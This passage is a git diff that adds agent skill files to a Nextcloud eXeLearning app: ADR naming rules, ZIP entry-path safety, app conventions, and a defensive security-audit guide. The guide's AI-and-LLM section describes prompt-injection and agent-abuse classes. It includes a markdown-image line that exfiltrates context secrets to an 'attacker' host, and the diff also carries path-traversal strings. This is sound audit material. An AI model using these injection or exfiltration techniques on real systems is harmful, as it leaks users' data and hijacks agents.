diff --git a/.agents/skills/architecture-records/SKILL.md b/.agents/skills/architecture-records/SKILL.md new file mode 100644 index 0000000..9f69fc6 --- /dev/null +++ b/.agents/skills/architecture-records/SKILL.md @@ -0,0 +1,145 @@ +--- +name: architecture-records +description: "Use when writing, renaming or reviewing an ADR or change document in this repository: how the tracking-number identifier works when issues are disabled, what the validator enforces, and why the index is never committed." +compatibility: "One shared TypeScript file, run with the Node that ships on the CI image. No build step, no dependencies. Run with `make architecture-check`." +--- + +# Architecture records in this repository + +## When to use + +Before creating a file under `docs/architecture/`, before renaming one, and when +`make architecture-check` fails and the message is not self-explanatory. + +## The identifier, and the one thing people get wrong + +A record is named after the **GitHub tracking number** of the change it belongs +to: + +```text +docs/architecture/adr/ADR---.md +docs/architecture/changes/-/ +``` + +**There is no global counter.** Do not look at the existing records and pick the +next integer. That rule is what this convention replaces: every branch evaluates +it against its own working tree, two branches pick the same number, and because +the collision is in the *filename* Git merges both files cleanly and reports +nothing. + +**Issues are disabled on this repository:** + +```console +$ gh api repos/exelearning/nextcloud-exelearning -q .has_issues +false +``` + +So the tracking number is always a **pull request** number. Do not try to open an +issue to get one — you cannot, and you should not want to. + +### The chicken-and-egg case + +A record written before its PR exists has no number yet. The sequence is: + +1. Write the record with a placeholder name. +2. Push the branch and open the PR. +3. Rename the file to the PR's number, set `id` and `tracking_issue`, fix the H1. +4. Run `make architecture-check`. + +One rename, before review. That is the cost of not having a counter, and it is +cheaper than a silent collision. + +### The two-digit sequence + +`` is scoped to that tracking number **only**, starts at `01`, and is present +even when a change has a single ADR. That last part matters: it means adding a +second decision later never renames the first one, so inbound links stay valid. + +`ADR-42-01` and `ADR-43-01` coexist happily. Two `ADR-42-01` do not. + +## What the validator enforces + +`make architecture-check` runs `tools/architecture-records.mts`. It fails on: + +| Category | Examples | +|---|---| +| Grammar | filename not `ADR---.md`; slug not kebab-case; leading zeros; retired `ADR-NNNN` form | +| Agreement | `id` ≠ filename; `tracking_issue` ≠ filename; H1 ≠ `# : ` | +| Uniqueness | duplicate `id`; duplicate sequence within one number | +| Vocabulary | ADR status outside `Proposed/Accepted/Rejected/Superseded`; change status outside the lowercase set | +| Shape | non-calendar dates; non-integer issue/PR references | +| References | `related.adrs`, `related.changes`, `related_adrs` that resolve to nothing | +| Supersession | one-sided `supersedes`/`superseded_by`; a superseded record not set to `Superseded` | +| Hygiene | a retired identifier anywhere in the tree; a committed `records.md` | + +`tools/architecture-records.mts` is a **verbatim copy** of the canonical file in +`exelearning/exelearning`, where it is covered by `bun test`. Do not edit it +here: fix it in core and re-copy, or the copies drift apart — which is the whole +failure mode this convention exists to prevent. Running `check` in CI exercises +the file under Node on every pull request, so a runtime-specific breakage still +surfaces here. + +## The index is not a file + +There is no `records.md`. Print it: + +```bash +make architecture-records +``` + +It is derived entirely from frontmatter. Committing it would guarantee a merge +conflict on every concurrent branch — the exact problem this convention removes — +so the validator treats its presence as an error. + +If you want a rendered index somewhere, generate it at that moment. Do not +reintroduce the file. + +## Status is frontmatter-only + +Never add a `## Status` section. It duplicates `status:` and drifts from it. One +canonical source per mutable field; the validator has no way to catch a stale +prose heading, which is precisely why the heading is banned rather than checked. + +## ADR or change document? + +- **ADR** — a durable *decision*, append-only. "We will serve published content + from an opaque iframe." +- **Change document** — the *design* for a unit of work, historical once shipped. + "Here is how the opaque viewer is built, tested and rolled out." + +A change usually contains several ADRs. Extract the decisions that will outlive +the feature; link them with `related_adrs`. Do **not** create one ADR per section +of a design — that is the most common failure mode, and it produces records +nobody can cite. + +## What deserves an ADR here + +Decisions about the Service Worker scope and the iframe sandbox; the editor +`postMessage` contract; whether `.elpx` packages stay opaque; entry-path +normalization as the security boundary; the Nextcloud integration surface +(controllers, preview provider, OCP usage); release packaging and what ships. + +Not: bug fixes restoring intended behaviour, routine refactors, dependency bumps, +or anything with no cross-cutting consequence. + +## Superseding + +Accepted records are append-only. To change one: + +1. Write a new ADR under the number that motivates the change. +2. New record: `supersedes: [ADR-<old>]`. +3. Old record: `status: Superseded` and `superseded_by: [ADR-<new>]`. + +Both directions are required — CI rejects a one-sided relationship, and it also +rejects a superseded record left at `Accepted`. + +## Common failures and their fix + +| Message | Fix | +|---|---| +| `uses the retired global numbering` | Rename to the tracking-number form. | +| `frontmatter id "X" does not match filename` | The filename is authoritative; fix `id`. | +| `H1 is "…" but should be "…"` | The H1 mirrors `id` and `title` exactly, including punctuation. | +| `references unknown ADR` | The target does not exist on this branch. Fix or drop it. | +| `the record index must not be committed` | `git rm` the `records.md`. | +| `references retired identifier` | Use the current identifier. | diff --git a/.agents/skills/elpx-package-safety/SKILL.md b/.agents/skills/elpx-package-safety/SKILL.md new file mode 100644 index 0000000..99d825b --- /dev/null +++ b/.agents/skills/elpx-package-safety/SKILL.md @@ -0,0 +1,99 @@ +--- +name: elpx-package-safety +description: "Use when touching ZIP entry handling, entry-path normalization, the Service Worker, or the sandboxed iframe. Entry-path normalization is this app's security boundary and it currently has three implementations that do NOT agree." +compatibility: "PHP ZipEntryService, TypeScript src/elpx/paths.ts, and the hand-written Service Worker src/sw/exelearning-sw.js." +--- + +# `.elpx` package handling and its security boundary + +## When to use + +Before changing anything that turns an untrusted string into a ZIP entry or a +runtime URL: `lib/Service/ZipEntryService.php`, `src/elpx/*`, +`src/sw/exelearning-sw.js`, or any new helper that handles entry paths. + +## The boundary + +A `.elpx` package is a ZIP whose entry names are **attacker-controlled**. Anyone +who can upload a file to Nextcloud can craft one. The only thing standing between +a crafted entry name and reading outside the package is path normalization. + +`AGENTS.md` states the rule: any new helper that handles entries must call +`normalizeEntryPath` (TS) or `ZipEntryService::normalizeEntry` (PHP). Follow it. +Never inline your own check, never "just" `str_replace('..', '')` — that is +defeated by `....//`. + +## There are three implementations, and they disagree + +| Implementation | Location | +|---|---| +| PHP | `lib/Service/ZipEntryService.php::normalizeEntry` | +| TypeScript | `src/elpx/paths.ts::normalizeEntryPath` | +| Service Worker | `src/sw/exelearning-sw.js::normalizeEntry` | + +The SW copy is an inline mirror of the TS one — deliberately, because the SW is +loaded out-of-band by the browser and cannot import bundled application code. +Those two agree. **The PHP one does not.** Measured behaviour: + +| Input | PHP | TS / SW | +|---|---|---| +| `a/b/c` | `a/b/c` | `a/b/c` | +| `../escape` | `null` | `null` | +| `a/b/../c` | **`null`** | **`a/c`** | +| `a/./b` | **`null`** | **`a/b`** | +| `a//b` | **`a//b`** | **`a/b`** | + +PHP rejects any `.` or `..` segment outright. TS/SW resolve them and only reject +an attempt to escape the root. PHP also keeps an empty segment from a doubled +slash; TS/SW collapse it. + +**This is not a traversal hole.** Both reject `../escape`; neither escapes the +package root. It is a *consistency* defect: a package containing `a/b/../c` +renders in the browser but 404s from the PHP asset controller and the preview +provider, and the difference is invisible until someone ships such a package. + +The docblock on `normalizeEntryPath` claims it "matches the rule used by the +PHP-side `ZipEntryService`". **That comment is wrong**, which is the dangerous +part: it tells the next maintainer the two agree. + +### What to do about it + +- **Do not** treat the two as interchangeable when reasoning about behaviour. +- If you change one, change all three, and add a shared test vector table so the + divergence cannot silently return. +- Converging them is a behaviour change to a security boundary. That deserves an + ADR and its own PR — not a drive-by edit inside an unrelated change. + +## Service Worker scope + +Only `/apps/exelearning/runtime/` may be intercepted. The SW must never see +arbitrary Nextcloud URLs. Widening the scope is a security decision, not a +convenience: it puts the SW in front of authenticated Nextcloud responses. + +`RUNTIME_PREFIX` and `ASSET_PREFIX` in `src/elpx/paths.ts` are the single place +where those URLs are built. Build runtime URLs there, not by string concatenation +at the call site. + +## The iframe + +Package content renders in a **sandboxed** iframe. Anything that relaxes the +sandbox attributes, or adds an origin to what the frame may reach, changes the +trust boundary between untrusted package content and the Nextcloud session. Write +an ADR before doing it. + +## Packages stay opaque + +Do not parse `content.xml`. Do not regenerate, patch or rewrite package contents. +Saving is a passthrough: the editor's exported bytes are written back unchanged. +Every deviation from this makes the app responsible for a format it does not own. + +## Testing + +Entry-path handling is pure and has no excuse for being untested: + +- `tests/js/paths.test.ts` — the TS normalizer. +- `tests/Unit/Service/ZipEntryServiceTest.php` — the PHP one. + +Any new case you reason about — a crafted separator, an empty segment, a NUL +byte, a Windows path, a unicode look-alike — becomes a test case in both, or it +is not covered. diff --git a/.agents/skills/nextcloud-app-development/SKILL.md b/.agents/skills/nextcloud-app-development/SKILL.md new file mode 100644 index 0000000..a7de153 --- /dev/null +++ b/.agents/skills/nextcloud-app-development/SKILL.md @@ -0,0 +1,124 @@ +--- +name: nextcloud-app-development +description: "Use when touching lib/ or appinfo/ in this Nextcloud app: how the app bootstraps, where controllers/services/routes belong, dependency injection, the preview provider, what OCP surface is allowed, and the traps that only show up on a real Nextcloud." +compatibility: "Nextcloud app framework, PHP 8.1+, namespace OCA\\ExeLearning. Unit tests run with no Nextcloud, no database and no web server." +--- + +# Developing this Nextcloud app + +## When to use + +Before adding or changing anything under `lib/`, `appinfo/` or `templates/`, and +before deciding whether some new behaviour belongs server-side at all. + +## The shape of the app + +```text +appinfo/info.xml app id, version, dependencies, declared types +appinfo/routes.php every HTTP route, one entry per controller method +lib/AppInfo/Application.php + bootstrap: init script, preview provider registration +lib/Controller/*.php the HTTP boundary — one controller per concern +lib/Service/*.php the logic — package lookup, permissions, ZIP entries +lib/Preview/ElpxPreviewProvider.php + Nextcloud preview provider for .elpx +``` + +Controllers today: `Asset`, `Editor`, `Package`, `Sw`, `Template`, `Thumbnail`, +`View`. Services: `ElpxPackageService`, `PermissionService`, `ZipEntryService`. + +Keep that split. A controller parses and validates the request, calls a service, +and returns a response. Logic that could be unit-tested without HTTP belongs in a +service — that is the whole reason the tests can run with no Nextcloud present. + +## Dependency injection + +**Constructor injection only.** Never reach into the container, never call a +singleton locator, never `new` a service inside a controller. Nextcloud's +`QueryBuilder`-style autowiring resolves constructor type hints; a service that +takes its collaborators as constructor arguments is also a service you can +instantiate directly in a unit test with fakes. + +`lib/AppInfo/Application.php` is the only place that registers things globally +(the init script and the preview provider). Resist adding more there: anything +registered at boot runs for every Nextcloud page load, including pages that have +nothing to do with this app. + +## Routes + +Every route goes in `appinfo/routes.php`. Two rules that bite: + +- The route name must match `Controller#method` exactly, or Nextcloud 404s with + no useful message. +- A route that serves package bytes must go through `PermissionService` before + `ZipEntryService`. Never trust a file id from the request: resolve it through + the user's own storage so Nextcloud's own permission model applies. + +## What must stay out of the server + +From `AGENTS.md`, and worth repeating because it is the most common drift: + +- **Do not parse `content.xml`.** The viewer needs `index.html` and the package + assets. `ZipEntryService` is deliberately restricted to named entries; + `screenshot.png` is the only entry the preview provider pulls out by name. +- **Keep `.elpx` opaque.** Saving is a passthrough — the editor's exported bytes + are written back unchanged. Do not regenerate, patch or rewrite packages + server-side. +- **No non-Nextcloud backend.** Anything server-side is a controller, a service + or a preview provider. Authentication, CSRF and permissions come from + Nextcloud's APIs, not from anything hand-rolled. +- **Do not modify Nextcloud core MIME files.** Admin-side configuration is + documented in the README. + +## The preview provider + +`ElpxPreviewProvider` is registered in `Application.php`. Preview generation runs +in contexts where the user session may not be what you expect and where failures +are silent — a provider that throws just yields no thumbnail. So: + +- Fail by returning null, not by throwing. +- Do not assume a local file: `ZipEntryService` has a stream fallback that copies + to a temp file for object storage and external mounts. Any new entry reader + must keep that fallback, or the app breaks on exactly the installs that are + hardest to debug. +- Always `@unlink` temp files in a `finally`. + +## Strict types and namespace + +PHP 8.1+, `declare(strict_types=1)` in **every** file, namespace +`OCA\ExeLearning`. English in code, identifiers, comments and documentation. + +## Documentation + +Use Context7 MCP for Nextcloud app framework and `@nextcloud/*` documentation. +The framework's APIs move, and a plausible-looking method that does not exist in +the target Nextcloud version fails only on a real install — long after your unit +tests went green. Prefer Context7 over recalling an API from memory. + +`appinfo/info.xml` declares the supported Nextcloud versions; check it before +using anything recent. + +## Before claiming success + +Unit tests run without Nextcloud. That is a feature, and also a limitation: they +cannot tell you a route is misnamed, a service is unresolvable by the container, +or a preview provider is not registered. Those need a real install. + +```bash +composer install +npm run typecheck +npm test +vendor/bin/phpunit --configuration tests/phpunit.xml +make architecture-check +``` + +If a change touches routing, DI registration or the preview provider, say +explicitly in the PR that it was not exercised against a running Nextcloud, if it +was not. Do not present a green unit suite as evidence for something the unit +suite structurally cannot check. + +## Recording decisions + +Decisions about the Nextcloud integration surface — what runs at boot, which OCP +APIs the app depends on, how permissions are enforced, what the preview provider +guarantees — are durable. Write an ADR. See the `architecture-records` skill. diff --git a/.agents/skills/security-audit/AI-AND-LLM.md b/.agents/skills/security-audit/AI-AND-LLM.md new file mode 100644 index 0000000..fb47ca8 --- /dev/null +++ b/.agents/skills/security-audit/AI-AND-LLM.md @@ -0,0 +1,67 @@ +# AI, LLM, and Agent Hunting + +#### When to use this file + +Reach for this file when the target embeds a language model in a trust-sensitive path: chatbots and assistants, RAG pipelines, agent/tool-calling loops, MCP servers and clients, code that builds prompts from untrusted input, or code that consumes model output and acts on it. These targets fail differently from ordinary web apps — the dangerous data flow is *untrusted text → model → capability or sink*, and the model is a confused deputy that will faithfully carry attacker instructions across a trust boundary the developer assumed the model would respect. It won't. + +Use this alongside `ATTACK-CLASSES.md`, not instead of it: the transport is still HTTP, the tools still hit SQL/shell/filesystem sinks, and access control still applies. This file covers the model-specific layer on top. + +Pick the relevant classes based on Phase 1. Split per subsystem (retrieval, tool dispatch, output rendering) for large targets. + +## Core discipline (include in every agent prompt for this domain) + +``` +- "The model can be prompt-injected" is NOT a finding on its own. Prompt injection that only affects the attacker's own session and their own output is a party trick. A finding requires the injection to CROSS A BOUNDARY: reach a victim's context, invoke a capability the requester lacks, exfiltrate data the requester can't see, or drive a downstream sink the attacker couldn't otherwise reach (server-side SQL/shell/SSRF beyond their own session). Name the boundary crossed. +- The bug is in the CODE, not the model. The finding is the missing code-level gate between attacker-influenceable input and a dangerous capability or sink — point at the line that grants the capability, trusts the output, or feeds the context, not the model's mood. Non-determinism is not a defense: the model's probability of complying is an exploitability detail, never a reporting blocker. If the code makes the output harmless (output that never reaches a sink), there is no finding regardless of what the model can be talked into saying. +- Model output is untrusted input. Trace it to its sink with the same rigor as any user input. "It came from our model" is the exact assumption being attacked. +- A guardrail prompt ("never reveal the system prompt", "refuse harmful requests") is not a security control. Do not credit it as a mitigation. If the only thing standing between the attacker and impact is instructions in the prompt, the boundary is undefended. +``` + +## Prompt-injection attack classes (subagent_type: `general`) + +**Indirect injection via retrieved / ingested content** +The high-value class. Attacker plants instructions in data the model later ingests in *someone else's* session: a RAG document, an indexed web page, a file upload, an email, an issue/PR body, a tool's response, a filename. Trace every source that reaches the prompt context and ask "who can write this, and whose session does it fire in?" Find the ingestion path; confirm the content reaches the context window unfiltered; confirm that context has a capability worth hijacking. + +**Tool-argument injection (model output → sink)** +The model emits a tool call and the code executes it with model-generated arguments. Those arguments hit a real sink — SQL (`query(args.filter)`), shell (`exec(args.cmd)`), file path (`readFile(args.path)`), HTTP (`fetch(args.url)` → SSRF), or another API. The code trusts the arguments because "the model produced structured output." Trace each tool handler's parameters to their sink and validate them at the handler like any request body. + +**Direct injection into a privileged capability** +Direct (same-session) injection only matters when the model can do something the *user* is not authorized to do directly. If the assistant runs tools under a service identity, or has a system prompt containing secrets, or can reach internal endpoints, then a user talking the model into using those crosses a privilege boundary even in their own session. If the model can only do what the user could already do via the UI, direct injection is not a finding. Hunt step: enumerate every capability the assistant holds that its users don't, then check whether same-session user text can steer the model into each. + +**Prompt-template / delimiter injection** +Untrusted input concatenated into the prompt without fencing or role separation, so the attacker forges structure the orchestrator trusts: a fake system turn, a fabricated prior conversation turn, or a counterfeit tool result. The finding is the assembly code — the concatenation that lets user bytes impersonate a trusted role — not the model obeying them. Find where the prompt is built and whether untrusted spans are delimited or escaped from control text. + +## Agent and tool-calling attack classes (subagent_type: `general`) + +**Excessive agency / confused-deputy authority** +The agent executes tools under *its own* identity (service account, broad API key, DB superuser) rather than the requesting user's. Every tool call is then a privilege-escalation vector: the user asks, the agent acts with more authority than the user has. Check whether tool execution re-checks the *user's* permission on the *specific resource*, or just that "the agent is allowed to call this tool." The same gap at the parameter level is IDOR through tools: `get_document(id)` / `read_file(path)` with the ID filled from user text and no check that *this* user may reach *that* resource — endpoint IDOR reached by asking. Common false positive: a shared service credential that runs every query *scoped to the authenticated user's ID* is normal, safe architecture — not a confused deputy. + +**Unbounded action loops / cost and side-effect abuse** +Agent loops that call tools until a goal is met: can an attacker drive an expensive or irreversible loop (spend, send, delete, external API calls) through a single crafted request? Look for tool calls with side effects inside a model-controlled iteration with no per-action authorization or budget. The impact that makes this a finding crosses out of the attacker's own session — it hits the operator's bill, a shared rate/quota limit, or other tenants' availability (denial-of-wallet), so it survives the "capability they already have" test even when the attacker only touches their own request. + +**Sub-agent / MCP trust inheritance** +When an agent spawns sub-agents or connects to MCP servers, what identity and context do they inherit? A sub-agent or tool server that receives the full session, credentials, or a broader capability set than the task needs is a lateral-movement primitive. A malicious or compromised MCP server is an attacker that speaks directly into the model's context — treat its responses as indirect injection. + +## Output-handling and disclosure attack classes (subagent_type: `general`) + +**Insecure output rendering (XSS / injection via model output)** +Model output rendered as HTML/Markdown without sanitization → stored/reflected XSS. Markdown image/link rendering is the classic exfiltration channel: the model emits `![x](https://attacker/?d=<secret from context>)` and the client fetches it, leaking context to the attacker's server. Check where model output is displayed and whether it's treated as trusted HTML. The image-exfil channel only fires if the render surface auto-loads remote resources and no CSP `img-src` restricts the destination — if the rendering client is out of scope or unknown (native app, terminal, CSP-locked web UI), the sink is unconfirmed: treat it as unverifiable, not a finding. + +**System-prompt / context extraction to a real secret** +Extraction is only a finding if the context actually contains something sensitive — API keys, other users' data, internal URLs, hidden business rules that gate access. Confirm the secret is really in the context (read the prompt-assembly code) before reporting. A leaked generic "you are a helpful assistant" prompt is not a finding. + +**Cross-session / multi-tenant context bleed** +Conversation history, embeddings, or the KV/prompt cache keyed too broadly, so one user's context appears in another's session. Trace the cache/session key: is it scoped per user, or is there a path where a shared key mixes tenants? Related: retrieval (vector or keyword search) that lacks a per-tenant metadata/ACL filter at query time pulls another tenant's chunks into context — IDOR at the retrieval layer; confirm the query itself applies the tenant filter, not just that documents carry a tenant field. These are code bugs (bad cache key, shared buffer, unfiltered query), not model behavior — verify them in the storage/retrieval layer. + +## Universal moves (apply across the above) + +- **Draw the boundary before hunting.** Enumerate: what identity do tools run as, what's in the context window, who can write to each context source, where does output go. Most AI findings fall out of a correct map of these four; most AI false positives come from not drawing it. +- **Find the capability, then find who can reach it.** Start from the most dangerous tool (delete, spend, exec, fetch-internal) and work backwards to whether untrusted text can reach its arguments. Power × reachability, same as any privileged interface. + +## Validation rules (apply before reporting ANY finding here) + +1. **Name the boundary crossed.** State exactly who the attacker is, whose session/identity the payload executes in, and what they get that they couldn't get directly. If attacker and victim are the same principal and the capability is one they already have, it is not a finding. +2. **For confused-deputy / excessive-agency claims, prove both halves.** Show (a) the tool performs no per-resource check scoped to the requesting user, AND (b) the action is one the user could not perform through a normal authenticated request. A shared service credential with per-user query scoping fails both tests and is not a finding. +3. **Cite the trusting line and prove the taint reaches it.** For tool-argument and output findings, show the concrete sink (the `exec`/`query`/`fetch`/`innerHTML`) with model-influenced data reaching it unvalidated; for extraction/disclosure findings, cite the prompt-assembly code and confirm the secret or cross-tenant data is really in the context. If you can't cite the code, you have a black-box observation, not a finding. +4. **Don't assert capabilities you can't see in source.** Claims that depend on deployment facts not in the repo — whether an "internal-only" endpoint is actually unreachable by the user, what a tool's target really exposes, which client renders the output — are unverifiable from source. If the user could reach the same thing directly (flat network, same origin), it is not a privilege crossing. Confirm the capability and the boundary in code, or mark it unverifiable rather than reporting it. +5. **Return ONLY confirmed findings** with the boundary crossed, the trusting code path, and the observable result — or "No exploitable AI/LLM issues found" if that's honest. diff --git a/.agents/skills/security-audit/ATTACK-CLASSES.md b/.agents/skills/security-audit/ATTACK-CLASSES.md new file mode 100644 index 0000000..6913771 --- /dev/null +++ b/.agents/skills/security-audit/ATTACK-CLASSES.md @@ -0,0 +1,116 @@ +# Attack Classes + +#### Attack classes — choose and split based on Phase 1 + +Select attack classes relevant to the application type. Not every class applies to every codebase. The list below is a starting point — add application-specific ones based on Phase 1. For large codebases, split classes per subsystem. + +> **Native / binary / kernel targets** (C/C++/Rust-unsafe, kernel modules, parsers and decoders, reverse-engineering tooling, runtimes/JITs, firmware): the web-oriented classes below fit poorly. Use the memory-safety, binary, and kernel classes in [MEMORY-SAFETY-AND-BINARY.md](MEMORY-SAFETY-AND-BINARY.md) instead of or alongside them. +> +> **AI / LLM / agent targets** (chatbots, RAG pipelines, tool-calling agents, MCP servers/clients, anything that builds prompts from untrusted input or acts on model output): use the prompt-injection, agency, and output-handling classes in [AI-AND-LLM.md](AI-AND-LLM.md) alongside the classes below. +> +> **HTTP-protocol and auth targets** (reverse proxies, CDNs, API gateways, custom HTTP parsers, and anything implementing sessions, JWT, OAuth/OIDC, or SAML): use the request-framing, cache, and auth-protocol classes in [WEB-PROTOCOL-AND-AUTH.md](WEB-PROTOCOL-AND-AUTH.md) alongside the classes below. +> +> **Client-side / browser targets** (SPAs, browser extensions, embedded webviews, anything using `postMessage`, CORS, or WebSockets, or that renders untrusted content in the DOM): use the DOM-injection, messaging-trust, and UI-redress classes in [CLIENT-SIDE.md](CLIENT-SIDE.md) alongside the classes below. + +**Injection** (subagent_type: `general`) +Trace untrusted input from entry point to dangerous sink. What counts as a "dangerous sink" depends on the application: +- Web apps: SQL queries, HTML output, shell commands, template engines, file paths, HTTP redirects, deserialization +- Libraries: any function that processes caller-supplied data without validation — buffer operations, parsers, format strings +- CLI tools: shell command construction, file path handling, environment variable interpolation +- Services: query construction, message serialization, log injection, LDAP/XPATH queries +- Client-side (browser/JS): DOM XSS, prototype pollution, `postMessage`/origin trust, and other browser-side classes — see [CLIENT-SIDE.md](CLIENT-SIDE.md) + +Don't just check the obvious direct paths. Look for indirect injection: data stored safely, then retrieved and used in a dangerous context by different code. Look for injection through field names, keys, headers, and metadata — not just values. Look for injection into secondary systems (logs, caches, search indexes, analytics). + +**Access control** (subagent_type: `general`) +Can a caller do something they shouldn't? Go beyond checking whether permission checks exist — verify they check the *right* permission for the *right* resource via the *right* mechanism: +- Is there a path to the same state change that checks a different (weaker) permission? +- Can a field in the request body override what the permission system intended to restrict? +- Are there endpoints that gate on authentication but forget authorization? +- Does the same resource have multiple access paths with inconsistent checks? +- What about bulk/batch/export/import operations — do they enforce per-item permissions? + +For complex access models, split into separate agents for auth bypass vs authorization logic. + +**Resource and file handling** (subagent_type: `general`) +- Path traversal (reading/writing outside intended directories) — including through symlinks, encoded sequences, and null bytes +- SSRF (making the application fetch attacker-controlled URLs) — including through redirects, DNS rebinding, and URL parser differentials +- Unsafe deserialization, archive extraction (zip slip), temp file handling +- Memory safety (if applicable): buffer overflows, use-after-free, integer overflow +- Race conditions on file operations (TOCTOU between check and use) + +**Cryptography and secrets** (subagent_type: `general`) +- Weak randomness for security-critical values (tokens, keys, nonces) +- Hardcoded secrets, secrets in logs, error messages, URLs, or client-visible responses +- Broken key derivation, missing HMAC verification, nonce reuse +- Timing side-channels on secret comparison +- Misuse of crypto primitives (ECB mode, unauthenticated encryption, static IVs, etc.) +- What happens when crypto operations fail? Does the error path fall back to no-crypto? + +**Business logic** (subagent_type: `general`) +This is where the real bugs hide. Standard scanners can't find logic errors. For each major workflow: +- **State machine violations**: Can you skip steps? Go backwards? Reach an invalid state? What happens if you replay a completed flow? What about partial failure — if step 2 of 3 fails, is step 1 rolled back? +- **Race conditions with business impact**: Concurrent operations that produce invalid states (double-spend, double-approve, lost updates). Focus on operations that check-then-act non-atomically. +- **Numeric/quantity manipulation**: Negative values, zero values, overflow, precision loss, type coercion between string and number. +- **Access boundary violations**: Not "does the permission check exist" but "is it the right check for the business rule?" Can input to one operation bypass a restriction enforced on a different operation for the same effect? +- **Implicit trust assumptions**: Data from storage, config, other components, or plugins assumed safe because "we validated it on the way in." What if a different code path wrote it? +- **Time-based logic**: Expiry checks, scheduling, rate windows, clock skew. What happens at exact boundary moments? What about timezone differences between components? +- **Default and fallback behavior**: What's the security posture when config is missing? When a feature flag is off? When a dependency is unavailable? When the system is mid-migration? + +**Feature abuse and data leakage** (subagent_type: `general`) +Legitimate features used for unintended purposes. Don't look for bugs in the code — look for bugs in the design: +- **Export/backup as exfiltration**: Can a low-privilege user trigger an export, snapshot, or backup that includes data above their access level? Can they export other users' data? Does the export include deleted/draft/private content? Revision history that was supposed to be pruned? +- **Import/restore as injection**: Can import overwrite existing data? Can it create records that bypass normal validation? Can it inject content into collections the user doesn't have write access to? Does it respect the same permission model as the UI? +- **Search/filter/sort as oracle**: Can search queries reveal whether content exists that the user can't directly access? Do filter parameters let users probe statuses, roles, or fields they shouldn't know about? Does sorting by a hidden field reveal its values through result ordering? +- **Enumeration through side effects**: Do error messages differ between "doesn't exist" and "you don't have access"? Do response times differ? Response sizes? HTTP status codes? Can you enumerate users through password reset, invite, or registration flows? +- **Preview/draft/staging leakage**: Are preview tokens scoped to one item or do they unlock broader access? Can draft content be discovered through search, RSS feeds, sitemaps, or API listing endpoints? Can cache headers cause a CDN to serve private content publicly? +- **Notification/webhook as SSRF**: Can a user set a notification URL, webhook URL, or callback URL that the server fetches? Is it validated against internal networks? What about after a redirect? + +**Chained attacks and trust boundaries** (subagent_type: `general`) +Individual safe behaviors that become dangerous in combination. Think about the full system: +- **Multi-step chains**: Map out what a low-privilege user CAN do, then look for combinations. Info disclosure (learning a resource ID) + IDOR (accessing it directly) + missing rate limit (brute-forcing the ID space). Open redirect + OAuth callback = token theft. Benign XSS in a low-value context + CSRF to escalate it. +- **Cross-component trust gaps**: Component A validates input and passes it to component B. Does B re-validate or trust A? What if A's validation is subtly different from what B needs (e.g., A allows 255 chars but B truncates at 128, creating a different string)? What about plugin/extension trust — can third-party code manipulate core state, bypass permission hooks, or access storage directly? +- **Second-order attacks**: Data safe when stored but dangerous when used in a different context. A field name safe in SQL becomes a key in a JSON path expression. A slug safe in a URL becomes part of a file path. Content stored HTML-escaped gets double-escaped or rendered in a context that expects raw text. Config values stored as strings get parsed as URLs, regexes, or templates. +- **Scope and capability escalation**: Tokens, API keys, or OAuth scopes that grant broader access than their name implies. A `read` scope that also allows listing draft content. Session cookies that survive a role downgrade. Plugin capabilities that provide a stepping stone to higher access. MCP or AI tool integrations that inherit the user's full session. +- **Timing and ordering**: Can you use a feature before setup/migration is complete? Act on a resource between soft-delete and hard-delete? Use a token between revocation and cache expiry? Exploit the gap between two non-atomic operations (check-then-act, read-then-write, validate-then-use)? +- **Rollback and recovery abuse**: What happens when an operation is undone? Undelete, restore from backup, revert a revision, cancel a pending action. Does the rollback restore more than intended? Does it bypass current permissions? Can you restore a resource into a state that's no longer valid? + +**Wildcard** (subagent_type: `general`) +You are not given a category. You are given the codebase and told to break it. + +Ignore the standard vulnerability classes — other agents are covering those. Your job is to find the thing nobody thought to look for. Read code that looks boring. Follow functions that seem unrelated to security. Get curious about the weird stuff. + +Some starting points, but don't limit yourself to these: +- What's the strangest code in the codebase? Why does it exist? What happens if it's abused? +- Are there any features that feel half-finished, experimental, or bolted on? Those have the weakest security because they got the least review. +- What happens if you use the API in a way the frontend never would? The UI constrains users, but the API doesn't. What API calls are possible but never made by the client? +- Are there any hidden or undocumented endpoints, parameters, headers, or features? Look at route registrations, middleware, and config for things that aren't in the docs. +- What happens when you mix features that weren't designed to work together? Localization + preview + caching. Import + plugins + webhooks. OAuth + impersonation + API keys. +- Is there anything interesting in the git history? Reverted security fixes, commented-out auth checks, secrets that were committed then removed (still in history). +- What would you do if you had a valid account but wanted to cause maximum damage without being detected? Not escalation — sabotage. Corrupting data, poisoning caches, exhausting resources, creating confusing state. +- Are there any operations that are irreversible? What if you trick an admin into performing one? +- What assumptions does the code make about the environment? That the database is local, that the clock is accurate, that DNS is trustworthy, that the filesystem is case-sensitive? +- Look at the test files — what are they NOT testing? What edge cases did the developer think about (tests exist) vs. what they didn't (no tests)? + +Follow rabbit holes. If something looks weird, dig. If a function has a comment explaining why it's safe, verify the explanation. If a variable is named `temp` or `hack` or `legacy`, read every line of it. + +**Obvious things** (subagent_type: `general`) +The other agents are hunting for subtle bugs. This agent checks the dumb stuff that's easy to overlook because everyone assumes someone else already checked it: +- Are there any hardcoded passwords, API keys, tokens, or secrets in the source? (grep for `password`, `secret`, `apikey`, `token`, `Bearer`, `-----BEGIN`, common default passwords) +- Are there any TODO/FIXME/HACK/XXX comments that reference security? (`TODO: add auth`, `FIXME: validate input`, `HACK: skip permission check`) +- Is debug mode / dev mode properly gated? Can it be enabled in production via environment variable, query parameter, or header? +- Are there test/example/seed credentials that work in production? +- Is there a `/debug`, `/admin`, `/test`, `/status`, `/health`, `/metrics`, `/env`, `/.env`, `/config` endpoint that's unprotected? +- Are there any `.env`, `.env.local`, `credentials.json`, `*.pem`, `*.key` files checked into the repo? +- Does the `.gitignore` actually cover secrets, uploads, and local config? +- Are dependencies pinned? Are there known CVEs in the dependency tree? (check lockfiles) +- Are there any `eval()`, `exec()`, `child_process`, `Function()`, `vm.runInContext`, `import()` with dynamic input? +- Are CORS headers set to `*` or overly permissive? Is `Access-Control-Allow-Credentials` combined with a wildcard origin? +- Are cookies missing `HttpOnly`, `Secure`, or `SameSite` attributes? +- Are there any open redirects? (parameters named `redirect`, `return`, `next`, `url`, `goto`, `continue` that feed into redirects without validation) +- Is TLS enforced? Are there any HTTP-only endpoints? +- Are error responses in production returning stack traces, internal paths, or SQL errors? + +This agent doesn't need to be creative. It needs to be thorough and literal. Check every item. Report what it finds. + +IMPORTANT: For any finding this agent reports, it must verify the full code path, not just surface appearance. If a cookie is missing `HttpOnly`, check whether the cookie contains security-sensitive data and whether JS needs to read it by design. If an 